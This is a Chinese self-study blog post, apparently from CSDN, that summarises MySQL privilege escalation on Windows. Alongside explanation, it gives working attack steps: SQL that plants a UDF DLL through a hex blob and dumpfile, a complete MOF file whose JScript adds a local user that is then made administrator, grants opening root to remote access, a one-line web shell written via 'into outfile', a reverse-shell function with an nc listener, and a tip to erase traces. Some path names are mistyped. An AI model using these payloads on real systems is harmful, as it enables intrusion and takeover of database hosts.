mysql提权总结(自学)

目录

MySQL数据库提权简介

UDF提权

原理

利用条件

利用准备

利用过程

MOF提权

原理

利用条件

利用过程

自启动提权

反弹shell提权

总结


MySQL数据库提权简介

一般数据库提权思路:

  1. 检测数据库的存在(探测端口)
  2. 获取到数据库的权限密码
  3. 查看数据库的类型分类

最主要的就是要获取到数据库的账号密码,获取方式大概有:

  • 读取网站的配置文件
  • 读取数据库备份文件下的库中的表的信息,例如MySQL数据库在mysql_user表中存储账户密码,使用cmd5-mysql5解码
  • 暴力破解账户密码,需要支持外联(mysql默认不支持)。可以使用密码脚本在本地爆破,也可以使用工具如msf的scanner mysql_login模块

MySQL数据库提权方式主要有三种

  • 使用sqlmap的--os-shell
  • 使用写入一句话木马,union select 1,一句话木马,3 into outfile/dumpfile 文件路径
  • udf提权
  • mof提权
  • 启动项提权-反弹shell-exp提权

UDF提权

原理

MySQL内置函数不满足需要,所以MySQL提供了添加新函数的机制,自行添加的MySQL函数就称作UDF(User-Defined-Function)。

用户可以自定义提权的函数(比如执行系统命令函数)来进行提权。

MySQL版本大于5.1版本:udf.dll文件必须放置在MySQL安装目录下的lib\plugin文件夹下

MySQL版本小于5.1版本:udf.dll文件在Window2003下放置在C:\Windows\System32下;在Windows2000放置在C:\Winnt\System32

利用条件

  • 获取到MySQL权限,或者说获取到MySQL账号密码,能够调用MySQL语句

  • MySQL具有写入功能,也就是secure_file_priv值不为具体值或者为固定某值,可以用SQL语句查询:

    show global variables like 'secure%';
    
  • 要有root权限,且要允许外连。root账户允许外连的SQL语句:

    grant all PRIVILEGS on *.* to 'root'@'192.168.15.249' identified by '112358';
    

利用准备

1、熟悉对方的MySQL目录结构和主机型号,使用SQL命令查看:

show variables like '%compile%';

2、确定MySQL的目录结构,搜索位置

show variables like '%plugin%';    #查找具体目录
select @@basedir;        #查看MySQL目录

3、kali里面其实有自带的udf提权脚本,并且有32位和64位的版本,目录位置:

/usr/share/metasploit-framework/data/exploits/mysql

利用过程

  1. 如果有文件上传漏洞,可以使用蚁剑等工具连接之后,然后直接将提权脚本文件放入lib\plugin目录下,然后使用mysql终端,创建自定义函数sys_eval

    sql 复制代码
    create function sys_eval returns string soname 'udf.dall';
  2. 直接在mysql终端创建目录,导入文件

    sql 复制代码
    create table temp(data longblob);        #以二进制数据流容器longblob创建临时data表
    insert into temp(data) values (unhex('udf文件的16进制格式'));        #将udf.dll脚本的十六进制写入data表
    select data from temp into dumpfile "xxx\\xxx\\lib\\plugin\\udf.dll";        #将udf文件导入到指定目录
    create function sys_eval returns string soname 'udf.dll';        #创建自定义函数sys_eval
  3. 调用脚本创建sys_eval函数 ,可以使用kali自带脚本也可以用msf进行提权

最后为了删除痕迹,要把刚刚新建的data表删掉。

MOF提权

原理

类似于udf提权,但成功率低,简单总结来说就是替换原来文件,然后利用自启动原理执行文件进行提权。

在Windows系统下,存在一个mof文件,路径C:/Windows/System32/wbem/mof/nullevt.mof,它的特点为每隔极短一段时间,便会以System权限自动运行文件内脚本,mof提权就是利用这点,将写好的mof文件导入该目录中,让它自动执行代码。

利用条件

  • 有mysql账号和密码
  • 目录可写入

利用过程

sql 复制代码
select load_file('mof文件路径') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof'
sql 复制代码
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user secist 123 /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};

执行完毕替换net user hsy 123456 /add换为

net localgroup administrators hsy/add 即可将用户提升管理员权限

自启动提权

利用条件:mysql开启外连;知道账号密码

sql 复制代码
GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY '密码' WITH GRANT OPTION;

使用msf 搜索使用mysql start-up模块 设置目标IP 账号密码 还可以写入反弹shell接受IP 写入启动项 需要对方启动系统,如果权限不够高,可以尝试反弹shell能否获取更高权限

反弹shell提权

mysql创建反弹函数select backshell('发送到的ip地址','端口'),kali使用nc监听本地(攻击机)IP nc -l(本地)-p 端口

总结

  • mysql提权有很多种方法,有通过sqlmap的--os-shell、通过写入文件(outfile/dumpfile)、通过udf提权、通过mof提权、通过自启动提权等等
  • mysql提权需要的三个条件:要有能够执行数据库语句的权限(知道数据库账号密码);mysql数据库要有能够写入的权限,secure_file_priv的值不为具体值或者为某个具体值(为null表示禁止导入导出);mysql账号要有root权限,或者是有root权限的其他用户,且要允许外连
  • UDF提权原理是因为mysql提供自定义函数的功能,所以可以自定义提权的函数(例如命令执行等),而udf.dll文件放在数据库目录下的lib/plugin下
  • UDF提权利用方式可以通过蚁剑连接上传脚本后直接将udf.dll放置在目录下然后进行创建函数;也可以通过mysql命令语句执行,先创建表然后将文件内容的16进制传入表中,然后再通过写入文件函数dumpfile写入指定目录,最后再创建函数;还可以利用脚本进行创建函数(kali有自带的脚本,也可以通过msf等的脚本利用工具)。
  • MOF提权相对于UDF提权相对利用率较低,它是专门针对Windows提权的。原理是因为Windows下有一个mof文件,路径在C:/Windows/system32/webm/mog/nullevt.mof下,它特点是每隔一段时间,系统就会以root权限去执行这个文件,利用这一点就可以进行利用。
相关推荐
vvvae12342 小时前
分布式数据库
数据库
雪域迷影2 小时前
PostgreSQL Docker Error – 5432: 地址已被占用
数据库·docker·postgresql
bug菌¹3 小时前
滚雪球学Oracle[4.2讲]:PL/SQL基础语法
数据库·oracle
逸巽散人3 小时前
SQL基础教程
数据库·sql·oracle
月空MoonSky3 小时前
Oracle中TRUNC()函数详解
数据库·sql·oracle
momo小菜pa3 小时前
【MySQL 06】表的增删查改
数据库·mysql
网络研究院3 小时前
Android 安卓内存安全漏洞数量大幅下降的原因
android·安全·编程·安卓·内存·漏洞·技术
m0_689618284 小时前
水凝胶发生器,不对称设计妙,医电应用前景广
笔记
Ace'4 小时前
每日一题&&学习笔记
笔记·学习
挥剑决浮云 -4 小时前
Linux 之 安装软件、GCC编译器、Linux 操作系统基础
linux·服务器·c语言·c++·经验分享·笔记